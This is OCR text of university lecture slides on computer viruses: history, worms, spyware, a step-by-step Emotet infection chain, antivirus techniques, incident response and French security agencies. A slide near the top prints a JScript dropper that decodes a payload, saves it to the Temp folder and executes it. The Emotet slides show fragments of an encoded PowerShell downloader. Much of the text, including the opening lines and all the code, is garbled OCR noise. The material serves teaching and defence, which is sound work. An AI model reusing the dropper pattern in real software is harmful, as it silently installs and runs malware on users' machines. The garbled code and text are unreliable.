ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i oAAB4CKBMAAADGB i 0AAAYgARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYAARGKGAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKAAB i0ARAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYARRGKGAAB i oAl
ARYYAAAGKGAAB 1 0ARAYYAAAGKYAAB ioARAYAAAeA i g TARAKKY YyARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYYARAGKYAAB 1 0AAAYYAAAGKYAAB i oARAYYARRGKGAAB i oA
NNYgAANGKGNAE 1oAnAYgANAGKgNAB ioNNNYgNANGKEgANB LontnYyANNGRgNAB ioNNAnYynnnGKgANB i ondnYgAnnGRgANB ionnnYyAnAGKgHNB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
NNYgAANGKGNNE 1 onnnYgAnnGRgNnHg IoEwnnC i oGRgANB LontnYyANNGRgNAB ioNNnYynnnGKgAnB i ondinYgAnnGRgANB ionnnYyAnAGKgHnB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
ANYgAAARGKGAAB 1 0ARAYEAAAGKGAAB ioARAYgAANGKEGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYgANAGKgAAB ioAnnYgANAGKgAAB 1oAnAYgARAGKYAAB i oANAYgARAGKgAAB ioA|
ANYgAARGKgAAB 1 oAnB4CKBMAARDGB ioARAYgAANGKEGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYgANAGKgAAB ioAnYgANAGKgAAB 1oAnAYgARRGKYAAB ioANAYARAGKgAAB ion
ANYAARGKYAAB 1 oARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYARAGKAAB ionAAAYyANAGKYAAB L onAA YgANAGKgAAB inAnnYgANAGKgAAB ioAnAYgAARGKYAAB i oANAYARRGKYAAB ioA|
AnYgAAnen g TARAKKY YgARAGKgAAB ioARAYgAAAGKYAAB LoAfAYANAGKgAAB ionnnYyAnAGKgAAB L onAn YgARAGKgAAB inARn Yy ANAGKGAAB 1oAnAYgARRGKYAAB i oANAYgARAGKYAAB ioA
1,1 Haut
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ffunction bob<(s)
P
e =4, i, k, =11, r =", w = String.fromCharCode:"
n=1I

(z in n)"

for (i = nlzllB1; i < nlzll11; i++)"
©

v.push(w(i));"
3

(1 =8; 1 € 64; 1++27

elvlill = i:”

(i =8: i < s.length: i+=72)"

var b = 8, ¢, %, 1 = 8, 0 = s.substring(i, i+72);"
for (x = B: x < o.length; x++)"

©

elo.charAt(x)1:"

(b << B) + ;7

+= 6;"

hile (1 »= 83"

r += wl(h >»> (1 -= 8)) % 256):"

3
3
return ri”

r my0b ject™
0b ject = new ActiveXlbject("Scripting.FileSystemdb ject™):"

bkfdfgo jgdifo jyiodsjfoig jdsifg = myOb ject.GetSpecialFolder(2) +

r data = bob(ygy):

r stream = new ActiveXDb ject ("ADODB.Stream”);”
stream.Tupe = 2; 77 text”
=tream.Charset = “I30-8859-1";"
stream.Open();”
stream. WriteText (datal):”
stream.SaveToF ile (bkfafgo jgdifo jgiods jfoig jdsify, 23:°
stream.Close();”

0b ject = new ActiveX0bject(’ ript.Shell™)”

0b ject .Run(bkfdf go jydifo jyiods jfoig jdsifg):

[b5, 911, [97,7 %231, [48, 581, [43, 441, [47, 4811."

Malicious code example

b6b fonction
orders the text
in the yyy
variable
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wversie *  Malicious code example

uy @
I" LI'Thb program cannot hE run in DOS mode.

17 jugy”

COCF (e

iZE Te =

iXeate®
el Nead, PR
cude malumlldnt txt"” 69ZL, 319971C 48
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code malveilla...

\Viru=l

Malicious code example

E=E o)
P
=~ O @

Taille

Rechercher dans

v|$’|

Temp

@‘@vl . « Utilisateurs » Test » AppData » Local » Temp »

Organiser « Inclure dans la bibliotheque « Partager avec v MNouveau dossier
X Faviii Morm Modifié le Type

B Bureau

@ 3
2| Emplacements récer

06/07/2017 11:14
06/07/2017 11:05
06/07/2017 11:05
06/07/2017 11:21
06/07/2017 11:05
06/07/2017 11:05

J Low Dassier de fichiers
. WPDNSE

|| FXSAPIDebuglogFiletd

I 51 rokj.exe

& Test.bmp

| wmsetup.log

Daossier de fichiers

4§ Teléchargements Document texte

Application

- Bibliothéques Image bitmap

E] Documents Document texte
&= Images

J‘ Musique

B vidéos

/M Ordinateur

&h Réseau

6 élément(s)

Cours de Sécurité
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1™ Gestionnaire des tiches de Windows

(===

Fichier Options Affichage 7

Applications | Processus |Serv'|oes | Performance I Mise en réseau | Uh’ﬁsateufs|

=
Nom de limage  Momdu... P.. Mémoire... Description
conhost.exe Test oo 984K Hote de la fenétre dela... @_C) v| Sl v Test » Mes documents
conhost.exe Test o0 992K  Hite de la fenétre de la... -
CErss.exe 00 1040K Organiser = Inclure dans la bibliothéque = Partager avec + Nouveau dot
dwm.exe Test oo 504K Gestionnaire de fenétre... 3 =
explorer.exe Test 00 23 148K  Explorateur Windows 7 Favoric Nem Modifié |
schtasks.exe ,.. Test ag 560K Gestion des taches plan... " ” "
Bureau =7 wwg.exe 06/07/20;
schtasks.exe ... Test 00 304K  Gestion des tiches plan. .. i 4
EE| i 3
taskeng.exe Test [ili} 1344K  Moteur du Planificateur ... i Empla L
taskhost.exe Test oo 1068K Processus hite pour TA... I eléchargements
taskmagr.exe Test o0 2908K Gestionnaire des taches... L
|0l e =5 Bibliotheques
wwg.exe *32 Test o2 2752K  wwg.exe T
j Documents
=l Images
) ‘ .J‘ Musique
B vidéos
= — - )
[ "y Afficher les processus de tous les utiisateurs | Armréter le processus 1% Ordinateur
\ o
N Processus: 44 UC utilisée: 1% Mémaoire physique: 48 % W fescal

[ 1 élément

. ™
1B FR . |me e
B P PR emaey
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D e 3.4 Worms
e Self- Worm:Win32 Conficker

=N | Comguters wehin a network that have
- e N
* Parti s ~ 3ableto
prop &7 )anetwork
thal a0y
- .'u'ihr.fl'lrlhl

e Sam §
4y quickly on

L
/ '
\JJ

o« A wc -—é -
L Computer withaut & @rong
secured shaned folger
| update or anti-virus P
the v = i
= W o,
urdty
L3
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3.4 Types of worms

Grenoble Alpes

« Simple worms

— Exploit Generally software failures which allow the
running of programs on a distant machine

* Macro-worms

- Hybrid Programs: both a virus (infection of support
transmitted by network) and a worm (use of the
network for the transmission), often propagated by
attached files containing of the infected documents

e E-mail worms
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umversits, . 3.6 Spywares (spy+software)

Grenoble Alpes

« Small modules, inserted in a relatively discrete
manner

* Integrated in commercial software or
shareware/freeware

* To inform the software publisher about the
hardware environment of the computer, the
navigation or other habits of the user

* The anti-virus software never detects them
(pressure on the anti-virus software publishers
on behalf of companies editors of commercial
software => the spyware are ignored)

« Non respect of the private life + denial of service
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Université

Grenoble Alpes EMOT ET

Activation des

Courriel
d’hameconnage macros et exécution
d'un script

https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-010/
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UG/A\ An example of virus attack :

gr:é\:‘eorts):gempes E M OT ET
* First step : Phishing Emaill

4 | 9 I= Sans titre - Message (HTML) (Lecture seule) — O x
I ichie ‘ Message ESET [~ @
,‘ 3 P 3 Régle % Marque . > P
. Ignorer W 3 3 Y .._% [ CERT/FR 1-)-‘ = = Marquer comme non lu a& ﬁ -
) v v = \"/ Alerte courriel m... | - — 9’“] OneNote ‘t Classer v b
ol o 3 e Répondre Répondre Transférer - o Déplacer Traduire Zoom
ag Courrier indésirable P 'aptous =) ¥ Alerte globale p. [z Actions = | ¥ Assurer un suivi - g~
Supprimer Répondre Adt 2} Indicateurs .| Modification | Zoom
De: TRIPOGNEY Karine <enfance @lacanau. fr> Date: mar. 29/09/2020 04:25
As grennhlea!pesmewﬂpﬂle‘fr
£y
Objet : B o
| Message | @] Form.doc (138 Ko)
Please see the attached file.
TRIPOGNEY Karine
Karine TRIPOGNEY @cnipt fr
-—-Original Message-----
Sent: Tuesday, September 28, 2020 22:23
From: " [mailto G crenoblealpesmetropole fi]
To: "TRIPOGNEY Karine"
Subject: Re: TRIPOGNEY Karine
A

=l

=]

D TRIPOGNEY Karine
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Université

Grenoble Alpes EMOT ET

« 2" step : Attachment opening

(vl 5 Form.doc [Compatibility Mode] - Microsoft Word = B 2
m Hame Insert  Pagelayout  References Mailings Review  View.  Developer s @
< = . #4 Find
: ==l % b [ =i | pEe| - |3 , . , Mo
e B | || astbcene asebccoc AaBbC AaBbG AaBbC . A | 4 .
i 23c Replace
Paste B I U x y A N 2 = B F- = Y - Change
2 F Format Painter B 1 % ¢ ;M?I,g- 5
Clipboard . Font Paragraph Styles
-
Microsoft Office Wizard
Microsoft Office
] Office
Transformation Wizard
Operation did not complete successfully because the file was created on Android device.
To view and edit document click "Enable Editing” and then click “Enable Content”.
-
|I &
- § E ¥
Form.doc: 18 674 characters, (This documentis password-protected and editing restrictions are in effect} j HE 3 & 100 (= ] +
i“s:arti 8 - 0 € 0w % > etzam M
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Grenoble Alpes E M OT ET

» 3rd step : Powershell execution

ADVANCED DETAILS OF PROCESS

powershell.exe (i 2202)

100 § S o Base 64

out of 100

Mallcious

Command Line:

Analysed with Any.run
https://app.any.run/tasks/f6ef6da
£-d067-4362-8351-21cffa8beSae/

Version informa

INDICATORS OF SUSPICIOUS BEHAVIOUR

DANGER
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Université

Grenoble Alpes E M OT ET

» 4th step : exe file creation

i start: 4289 length: 4289 i
Recipe S ] Input l_n;gf 295 ines: 2 + O B =
BYAUUATUD JHOBARRAKAL Y ANADUAUCAMTWAXAVUALADDAUSHA LAREANUABYDUALY AUWD LAKMARYD F AAURLEE D
From Base64 > H AHSAJABPAGQAaWALADYAOABZACAAT gBKAGAADWEXAGAAYABSAGBAQOBEAGAAREBIAEWATZQAIACEATABGAD
QAbgBhADMAMOBIACWATAAKAECAXWBIADQAOAAXAGQAKQATACQATWAWAGSADAAXAGKASQASACEAIWBZADIA
Alphabet = JWArACEATWB yAHKATWArACCAXWALAGWATWAPACKAOWBIAGYATAACACEAL AOACCARWBIACCAKWANAHQALQ
A-Fa-z0-9+/=

BJAHQAZQBTACCAKQAGACQARWBTAHUANAAAADEAZAADACAATEBSAEUADEBEAGCAYABUAGEATIEABACBAZWE]L
ACAAMBAIADMAOAAXACKATABTACAAKAANAEKADEE2 AGBAaWB1ACCAKWANACBASQBBAGUATWArACCABQANAL
KAKAAKAECAXWE1ADQAOAAXAGQAKQAZACQAT gAWAHYAdWBPADYADAASACEAKAANAECANWANACSATWBIACCA
KQArACEATWBKACCAKWANADQAOQOBmMACCAKQAPADSAYEBYAGUAYQBrADSATABJAHCANWASAGBAYEABADBAKA
AOACCASEAYACCAKWANADYAJWAPACSAIWBLACCAKWACACCANAANACSATWAZAHTAIWAPACKATOBOAGMAYQES
AGMAaABTAHBATQAKAFkAagBnAHOAd A2 AGBAPQACACEATWEDAHQABQBUACCAKWANAGCATWAPACSATWBEAG
UATWApAA==

Remove non-alphabet chars

TOOl used : start: 3157 time: 45ms

& S a0 ra
Output poies wersn @ DR - 2
(:1311)(317(:11631? :. B W§$.Z.%X.U.7.m. 2.9, ( [ (P o TS T ARET W PRETRRD) BT S (PRt it o5+ ERRH B B e,
(.".n.e.w.-.".+.".i.t.e.m.”.). .$.E.N.v.:.U.5.e.r.P.r.o.f.i.1.e.\.P.0.h.0.3.2.7.
\.T.u.Q._.B.W.I.\. .-.i.t.e.m.t.y.p.e. .D.i.r.E.c.t.0.R.Y.;.
[.N.e.t...S.e.r.v.i.c.e.P.0.i.n.t.M.a.n.a.g.e.r.].:.:.".S.E.c.u.r.I.” ,T.Y." .P." .R
o ‘.T.o.c.o.L.“. g o on G i s e s N Y i Nt G Vi
A T T B I o L PR ok W TR W W LR o] e U TS R R T SR
.(.(.’.0.j.q.’.+ T ) ( At ) )t Elbinakld 3.
{8 I - PR
[ GRS | RITE CREree [ ST Ly PR e A cOR | 1.d.=.%.e.n.v.:.u.s.e.r.p.r.o.f.i.l.e.+
O B Ea PN BT 2 B A E ) Tt e L st g )
STEP Auto Bake (- -bow. . 103000406 F L) uRee Pu LAl el (L TLTL6 L LR L )
NrecuouaoDo 1 a2 N &0 A a1 77 a4 0
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UCA An example of virus attack :

Université

Grenoble Alpes E M OT ET

» 5th step : Malware download

Process detalls 1D 1860 |

Ojgot28t.exe

Program
Execution
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UCA An example of virus attack :

Université

Grenoble Alpes E M OT ET

» 6th step : Connection to C&C server

443Kb T binary
132k 4 binary

POST | 200: DK

Process details 1D 2944 jlic

capisp.exe

Computer is
compromised,
waiting for
further
iInstructions
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e s pes Antiviral fight

An antivirus could be deployed

‘Locally : on a system (workstation or server) to detect viruses affecting this
machine ;

Cut network flows : on a firewall to analyze network flows and detect
malware before they reach their target. This operation can be assimilated to an

IDS (Intrusion Detection System), a mechanism presented in the following
section.
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UG/‘\ 3.5 Antiviral fight

 Antiviral techniques (anti-virus)

- Static Mode (analyzes on release of the user)

« Search for signatures (suite of bits characteristic of a given
virus)

» Spectral analysis: to establish the list of instructions of a
program (the spectrum) and look for instructions which are
not very used in classical programs and more usual in
viruses

* heuristic Analysis : study of the behavior of a program in
order to detect viral behaviors

* integrity Control : monitoring of the modification of sensitive
files (executable, documents)
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UG/‘\ 3.5 Antiviral fight

- Dynamic Mode (resident, analyzes
permanently the files and executable)

* Behavioral monitoring

- antivirus diverts interruptions towards its profit (ex: 13H
or 21 H) and tries to detect any suspect behavior

" attempt to open/write executable files
Writing on the system sectors
attempt to be stored as a resident program

 code Emulation

- Fight against polymorphic viruses (simulation of the
behavior)

7

7
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UG/‘\ 3.5 Antiviral fight

* Analyse de signatures (ou techniques de
scanning)

* Analyse comportementale
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UG/‘\ 3.5 Antiviral fight

« Those software could be :

— Freeware :
Default installation on the device or by OS provider (Microsoft Security Essential) ;
Or manually : Avast, Malwarebytes.

— Software : example McAfee, Norton Antivirus.

[ Avoid free scan from Internet webpages informing you that ]
your computer is infected !
« VWhen a new mallicious code IS appearing, antivirals publisher make
analyses in a way to:
— determine mallicious code« signature » for further identification ;
— ldentifying the ways to protect and correct ;
— Updating antiviral database with those informations.
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UG/‘\ 3.5 Antiviral fight

« Must be configured in a way to :
— Automaticly download viruses signatures (antiviral base) ;
— Remain always active (Pay attention if your antivirus is disabled) ;
— Scan the entire computer with no folders or files exceptions;

— |l aunch periodic full analvses:

Antivirus is not « the absolute weapon ». Systems and applications updates
and healthy computer usage are required.

« Limits
— There isn’t an exhaustive database for viruses;

— A mallicious code could act on a system with an antivirus and remain
undetected;

— Antivirus are able only to detect « known » signatures viruses ;
— A lot of new mallicious codes are created every days.

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 66



UGA

uversiis = 3.5 |n the event of infection

 (Case of a detected infection
— isolate from the network the accused machines
— data saving (which will have to be disinfected thereafter)

— keep a copy of the infection (quarantine) to possibly be able to
analyze the threat

— pass the antivirus in “eradication’mode, then swich off the
computer and reboot it
 consult the antivirus sites to find a solution
* |If not: format the computer...
— post-infection strategies
« Changes the passwords (to avoid the propagation of the worms)

« apply the corrective measures to the software (update also the
ghosts which are used to install machines)

— Evaluation of the security policy to understand how this infection
was possible

— In the event of a proven attack, it is necessary to make a
declaration to the police...
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uversiis = 3.5 |n the event of infection

« Case of a non detected infection (by the anti-
virus, the firewall, etc...)

— disconnect the system from outside
— Save all the data

— analyze the system in detail (very difficult task)

» compare the files having modifications compared to last
savings

* New files (added files)
» Save these files, transmit them to the police with a complaint

* Inform an alert or monitoring organism (CLUSIF in France,
(Club de la sécurité des systémes d'information / Club for
information system security))

— Restoration of the machine without connecting it to
the network (one period of quarantine is advised in
the absence of feedback concerning this infection)
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uversiis = 3.5 |n the event of infection

* Never pay ransoms;

* In case of blackmail / identity theft / damage to reputation :

— Do not communicate with the crook;
» Block its messages / contact.

— Notify and receive help ;
« Make it to be blocked on the chat site, or on Facebook or Skype ;

» Exercise oblicion right on Google :
https://support.qgoogle.com/legal/contact/Ir eudpa?product=websearch&hl=fr;

* Notify : https://www.internet-signalement.gouv.fr/
* For minors: http://www.netecoute.fr/

* In case of ransomware ( fr : rangongiciel) :

— In company or university : notify IT managers ;

— At home : Look for help on specialized websites or forum :
http://stopransomware.fr/nettoyer-son-ordinateur/
Antivirus publisher official websites : Symantec, etc.

« Complain to the police or gendarmerie.
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gr:é\:‘eorgigém pes V I ru S e S

Computer viruses constitute "massive attacks" that tend to ...

« to become more and more targeted on a sector of activity (telecommunications, banking, defense, energy,
etc..)

* to become more and more sophisticated and stealthy

The main infection vectors are

*Message with attachment

*Removable media (USB key...)

*Malicious or hacked Web Site

*Open networks shares, vulenrables systems...

4

... with potential consequences ...
* Installing a « Trojan horse » to access remotly to the workstation
* Retrieval of targeted data: bank cards, identifiers / passwords ...

* Remote monitoring of activities: capturing screens, exchanges,
sound or video!

* Workstation Data destruction
*Data encryption for ransom request...

T o Al Some recent viruses : Citadel,
T "" Flame, Stuxnet, Duqu, Conficker,

: Z hamoon (Aramco)...
ny eus, Shamoon (Aramco)
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universite ~  French cyber security organization

Grenoble Alpes

Cyberdéfense : un véritable enjeu de sécurité nationale

g R
Défense SENAT
et Securite ——
nationale A
Centre
S Id’analyse
E LIVRE BLANC i e Istrateglque
I i Développement durable
Nicolas Sarkozy e O R e i .
e e m— DEFENSE Cybersécurité’, lurgence d’agir
7\ ET SECURITE
Jasis\ NATIONALE
B 2013

«Cyber attacks, because they have not, so far, caused the death of men, do not
have the impact of terrorist acts in public opinion. However, today, and even more so PROJET DE LOI DE
on the horizon of the Livre Blanc, they constitute a major threat, with a high |22 RAMM
probability and high potential impact » (Chapitre 4, Les priorités stratégiques, livre Fa s :
blanc 2013)

2014/2019

«Development of military cyber defense capabilities will be subject of an important “ e
efforty (Chapitre 7, Les moyens de la stratégie, , livre blanc 2013)
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universite ~  French cyber security organization

Grenoble Alpes

Interministry Organization :

[ Prime Minister } ‘1’

Ministry

National policy management for IT S’ecretalre genera’I de _|a,
security | défense et de la sécurité

nationale (SGDSN) Defense
Naitonal security
i Foreign affairs
Agence nationale de la ) Economy
sécurité des systéemes > Industry
d’information (ANSSI) y

Rules proposition to apply for protecting IT state. \ ~/
Verify the application of measures adopted . .
.y PP . . p. Hauts fonctionnaires de
Advice / support Security for administrations , . e s
. . défense et de sécurité
Public information (HFDS)
Contribution to the development of Trusted Services...

N\
J

& J/

Coordination of defense measures prepatation
(Vigipirate) and responsible for the IT security
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universite - French cyber security organization

Grenoble Alpes

Cybersécurité = SS| + cyberdéfense + cybercriminalité

N\ Préfecture de
J Police (BEFTI)

/"L Direction Geéneéral
DGA de 'Armement (DGA)

| <% Etat-Major des
"-i‘,’ Armées (EMA)

ﬁh; Gendarmerie
<,gg_’> Nationale (IRCGN)

g Police Nationale
~ (OCLCTIC)

) Officier Général
4/ “Cyber
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Grenoble Alpes

French cyber security organization

« CERTA (Centre d'Expertise gouvernemental de Réponses et de
Traitements des Attaques Informatiques)

— www.certa.ssi.gouv.fr
 CVE (Common vulnerability and exposures)
— www.cve.mitre.org

— Noms normalisés des vulnérabilités et risques pour la sécurité des
informations

 CERT (Center for Emergency and Response Team)
— www.cert.org
— Expertise pour la sécurité internet
 SANS (SysAdmin, Audit, Network, Security)
— Www.sans.org
— Recherche en sécurité des informations
» CIS (Center for internet security)
— www.cisecurity.com
— Gestion des risques liés a la sécurité informatique
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Grenoble Alpes

French cyber security organization

SCORE (Security Consensus Operational Readiness Evaluation)
— www.sans.org/score
— Communauté de professionnels en sécurité
« |SC (Internet storm center)
— http://isc.sans.org
— Journal concernant les détections d'intrusion
 [ICAT
— http://icat.nist.gov/icat.cfm
— Index d'information sur les vulnérabilités informatiques
« Security Focus
— www.security-focus.com
— Communauté de professionnels de la sécurité

« ANSSI

— WWW.SSLQouV.fr
— Agence Nationale de Sécurité des Systemes d’Information
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French cyber security organization

CERI-FR

Centre gouvernemental de veille, d'alerte et de réponse aux attaques informatigues

Que "

dintn S0 site des cyberattagues
Les systemes obsolétes

Liens utiles LERTES (LES 5 PLUS RECENTES)

Les akertes sont des decumants destinds 3 prévenir d'un danger immediat,

L'ANSSI recrute

Campagne da makciels prenant l'apparance d'un rancongecial 4 multiples capacitds de propagation {Corrigée la 04 juillet 2017)
Propagation d'un rangongiciel exploitant les vulndrabilités MS17-010 (Corrigée le 26 juin 2017)

Multiples vulnérabilivés dans Microsoft Windows XP et Windows Server 2003 (15 mai 2017)

Campagne de messages électroniques non sollicités de type Jaff {Corrigée le 14 mal 2017)

Wulnérabilité dans Microsoft Malware Protaction Engine (Corrigée le 11 mal 2007)

vis (1LEs 20 PLUS RECENTS)

Les avis sont des documents faisant dtat de vulnérabités et des moyens de s'en prémunir.

CERTFR: 2017 ALE 008
CERTFR-2017-ALE-011

jcontes CERTFR-2017- ALE- 008

e s i Jia I ]

Pubbc ations

alertes en cours

CERTFR-2017-AVE Multiphes vulndrabilités dans Microsoft Outiook (28 et 2017)

Multiples vulnérabilités dans Fortinet Fortb0S (28 juillet 2017)

Multiples vulndrabilités dans les produits VMware (28 juilet 2017)

Multipbes vulndrabilités dans McAfee Web Gateway (27 jusllet 2017)

Multiples vulndrabilités dans Fortinet Forti0S et Fortianalyzer (27 jullet 2017)
Multiples vulnérabiités dans Google Chrome (26 juillet 2017)

Multiphes vulnérabilités dans Joomlal (26 juillet 2017)

Vulndrabilité dans bes produits Citric (26 jullet 2017)

Multiples vulnérabilités dans le noyau Linus dUbuntu (21 jullet 2017)
Wulnérabilitd dans le noyau Linux de SUSE (20 juillet 2017)

Multiphes vulndrabifités dans Oracle WM Server pour 86 et Oracle Linux (20 juillet 2017)
WYulnérabilité dans Cisco Web Secunty Appliance (20 juillet 2017)

Multiples vulnérabilités dans les produits Apple (20 juillet 2017)

Multiples vulndrabiités dans SCADA Schneider Bectric Tno TWiew {19 juillet 2017)
Multiples vulnérabilités dans Oracle Sun Systems Products Suite {19 juillet 2017)
Multiples vulnérabilitds dans Oracle Database Server (19 judlet 2017)

Multiples vulnérabilités dans Oracle Linux and Virtualization {19 juillet 2017}
Multiphes wulnérabiités dans Gracle MySQL (19 juillet 2017)

Multiphes vulnérabilités dans Oracle Java SE (19 juillet 2017)

Multiphes vulndeabilitds dans Wirashark (19 juillet 2017}

ULLETINS D'ACTUALITE (LES 5 PLUS RECENTS

Las bulletins d'actualité fournissent une llustration par Factualitd récente da cartanes mesures pragmatiques & apphquaer,

Flux RSS complat

Flux RSS des akertes]

Le CERT-FR
Nous contacter
Conkac L&D
& propos du site

CSIRT

Le FIRST

Elileleielelifelilelefefilelelelefa e e

CERTFR-2017-ACT-030

Bullzbn d'actualitd numéro 030 de Fannée 2047 {31 julllet 2017)
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« Computer networking and the internet, F. Halsall, Addison Welseley,
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2018 Packt
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* The use of the methods
described Iin this course
engages the responsibility of
the users!
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e Virus history

* 1949 : John Von Neumann presente les
fondements theoriques des logiciels
autocopies.

* 1960 : Un groupe de jeunes ingenieurs
des laboratoires Bell met au point un jeu
informatique du nom de Core war : on
installe dans la mémoire vive d'un
ordinateur deux programmes charges de
se retrouver. Le gagnant doit detruire
'autre en s'autocopiant dans ses fichiers,,

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021



UGA

Ll Virus history
* 1984 : Le magazine Scientific American
présente un guide pour fabriquer ses
propres virus.

* 1986 : Les freres Alvi, deux Pakistanais,
fournissent a des touristes des copies de
logiciels pirates infectés du virus Brain. Ce
serait le premier virus clairement identifie
et connu. |l a cause de sérieux degats sur
les campus americains.
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el Virus history

« 1988 : Robent Morris est arrété pour fraude
iInformatique. Cet etudiant vient de causer 15
millions de dollars de dommage sur Internet a
cause de son virus.

« 1989 : Datacrime : trois virus font trembler les
Pays-Bas et la France. La police néerlandaise
propose alors un ensemble de programmes
iInformatiques a bas prix pour lutter contre ces
virus. C'est a cette eépoque que la France prend
reellement conscience de l'existence des virus.
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el Virus history

« 1991 : Diffusé par une disquette vendue dans la
revue Soft et Micro, le virus Frodo/4096 arrive
en France. Le Clusif (Club de la sécurité des
systemes d'information francais) propose sur
son serveur une procedure de détection et de
décontamination pour lutter contre Frodo. Le
serveur enregistre 8 000 connexions.

« 1992 : Le virus Michelangelo plonge la planéete
dans l'effroi. Ses effets restent pourtant limites :
200 000 machines, au lieu des 5 a 15 millions

annonces.
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Université Virus h iStO ry

Grenoble Alpes

* 1995 : Les premiers virus macros destructeurs
apparurent en ete.

« 1998 : D'apres les chiffres publies par Dr
Salomon's, éditeur d'antivirus, on recensait 17
745 virus différents en 1998, contre 18 en 1989.

* 1999 : Le virus Mélissa se propage par internet.
Caché dans un document Word, Mélissa s'auto
envoyait aux 50 premiers contacts contenus
dans le carnet d'adresses d'Outlook. Résultat :
plus de 300 000 ordinateurs infectés. Internet

devenait le premier vecteur de contamination.
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el Virus history

« 2000 : Levirus | Love You seme de
nouveau la panique sur Internet.
2003 : Le virus MyDoom a beaucoup fait
parlé de lui, et |la téte de l'auteur de ce
dernier reste mise a prix.
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